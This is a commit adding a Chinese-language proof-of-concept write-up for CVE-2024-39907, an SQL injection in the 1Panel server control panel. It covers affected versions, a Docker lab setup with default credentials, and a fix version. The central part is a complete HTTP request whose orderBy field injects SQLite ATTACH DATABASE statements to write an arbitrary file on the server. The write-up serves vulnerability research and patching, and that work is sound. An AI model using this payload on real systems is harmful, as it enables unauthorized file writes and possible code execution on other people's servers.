mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-04 18:27:48 +00:00
update CVE-2024-39907
This commit is contained in:
parent
11803fdc55
commit
d6b8a81fdd
78
Web应用漏洞/1Panel 控制面板 SQL 注入漏洞 CVE-2024-39907.md
Normal file
78
Web应用漏洞/1Panel 控制面板 SQL 注入漏洞 CVE-2024-39907.md
Normal file
@ -0,0 +1,78 @@
|
||||
# 1Panel 控制面板 SQL 注入漏洞 CVE-2024-39907
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
1Panel 是一款基于 Web 的 Linux 服务器管理控制面板,提供服务器管理的图形化界面。
|
||||
|
||||
CVE-2024-39907 是 1Panel 控制面板中存在的多个 SQL 注入漏洞集合,这些漏洞存在于 1Panel 的多个接口中,部分注入点由于过滤不善,可能导致攻击者实现任意文件写入,最终达成远程命令执行 (RCE)。该漏洞影响 1Panel v1.10.9-lts 及更早版本,已在 v1.10.12-lts 版本中得到修复。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-39907.yaml
|
||||
- https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-5grx-v727-qmq6
|
||||
- https://hub.docker.com/r/moelin/1panel
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
1Panel ≤ v1.10.9-lts
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
Vulhub 执行如下命令启动一个有漏洞的 1Panel v1.10.10-lts:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问 `http://localhost:10086/entrance`,使用以下默认凭据登录:
|
||||
|
||||
- 用户名:`1panel`
|
||||
- 密码:`1panel_password`
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
登录 1Panel 控制面板后,漏洞存在于 `/api/v1/hosts/command/search` 接口中,`orderBy` 参数缺乏适当的输入验证,导致 SQL 注入攻击。
|
||||
|
||||
发送以下恶意 POST 请求来利用该漏洞:
|
||||
|
||||
```
|
||||
POST /api/v1/hosts/command/search HTTP/1.1
|
||||
Host: localhost:10086
|
||||
Connection: keep-alive
|
||||
Content-Length: 0
|
||||
Accept-Language: zh
|
||||
Accept: application/json, text/plain, */*
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
|
||||
Cookie: psession=<YOUR_PSESSION_HERE>
|
||||
Origin: http://localhost:10086
|
||||
Referer: http://localhost:10086/
|
||||
Content-Type: application/json
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
|
||||
{
|
||||
"page":1,
|
||||
"pageSize":10,
|
||||
"groupID":0,
|
||||
"orderBy":"3;ATTACH DATABASE '/tmp/randstr.txt' AS test;create TABLE test.exp (data text);create TABLE test.exp (data text);drop table test.exp;",
|
||||
"order":"ascending",
|
||||
"name":"a"
|
||||
}
|
||||
```
|
||||
|
||||
`orderBy` 参数中的恶意负载利用 SQLite 的 `ATTACH DATABASE` 功能在服务器文件系统上创建任意文件,演示了成功的 SQL 注入攻击。处理请求时,1Panel 后端会执行注入的 SQL 命令而不进行验证,确认漏洞存在且可被利用。
|
||||
|
||||

|
||||
|
||||
成功通过 `ATTACH DATABASE` 创建文件 `/tmp/randstr.txt`:
|
||||
|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
升级至 1.10.12-tls 及以上版本。
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 2.1 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 557 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 84 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 310 KiB |
Loading…
x
Reference in New Issue
Block a user